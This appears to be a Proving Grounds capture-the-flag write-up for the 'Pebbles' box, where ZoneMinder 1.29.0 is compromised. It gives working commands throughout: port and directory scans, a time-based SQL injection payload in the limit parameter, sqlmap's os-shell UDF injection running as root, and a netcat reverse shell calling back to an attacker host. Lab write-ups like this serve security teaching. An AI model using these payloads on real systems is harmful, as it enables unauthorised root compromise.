# Pebbles Writeup - Proving Grounds

> Easy Linux box running ZoneMinder v1.29.0, exploited through a SQL injection in the limit parameter. The database runs as root, so sqlmap's os-shell injects a UDF and executes commands as root directly, with no separate privilege escalation.

- **URL:** https://hackindex.io/writeups/pebbles
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** sql-injection, zoneminder, mysql, rce, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Pebbles runs ZoneMinder v1.29.0 under a hidden path on port 3305. That version has a SQL injection in the `limit` POST parameter, and the database runs as root with a DBA account, so sqlmap's `--os-shell` injects a UDF and executes commands as root directly.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE
# 21/tcp   open  ftp
# 22/tcp   open  ssh
# 80/tcp   open  http
# 3305/tcp open  http
# 8080/tcp open  http-proxy
```

The web app on port 3305 serves a default Apache page. Brute force its directories.

### Directory discovery

Enumerate directories.

```bash
dirb http://$TARGET_IP:3305 /usr/share/wordlists/dirb/big.txt
# + http://$TARGET_IP:3305/cgi-bin/ (CODE:403)
# ==> DIRECTORY: http://$TARGET_IP:3305/zm/
```

The `/zm/` path is a ZoneMinder console, version 1.29.0, which is vulnerable to a SQL injection in the `limit` POST variable (Exploit-DB 41239).

## Exploitation

### ZoneMinder SQL injection

Capture the monitor log request in Burp and confirm the injection with a time-based payload.

```
view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
```

The five-second delay confirms the injection. The database runs as root with a DBA user, so sqlmap can inject a user-defined function and open an OS shell as root.

```bash
sqlmap -r post.txt --dbms mysql --os-shell
# Parameter: limit (POST)
#     Type: stacked queries
#     Payload: ...limit=100;SELECT SLEEP(5)#
#
# [*] current user is DBA: root@localhost
# [*] creating UDF 'sys_exec' from the binary UDF file
# [*] calling Linux OS shell.
# os-shell> whoami
# command standard output: 'root'
```

The `os-shell` runs as root. Upgrade it to a full reverse shell by hosting a netcat binary, downloading it, and connecting back.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# id
# uid=0(root) gid=0(root) groups=0(root)
```

The database runs as root, so the UDF command execution is already root. No separate privilege escalation is required.

Related

## References

- [Exploit-DB 41239](https://www.exploit-db.com/exploits/41239) - ZoneMinder SQL injection in the limit parameter leading to database and OS compromise.
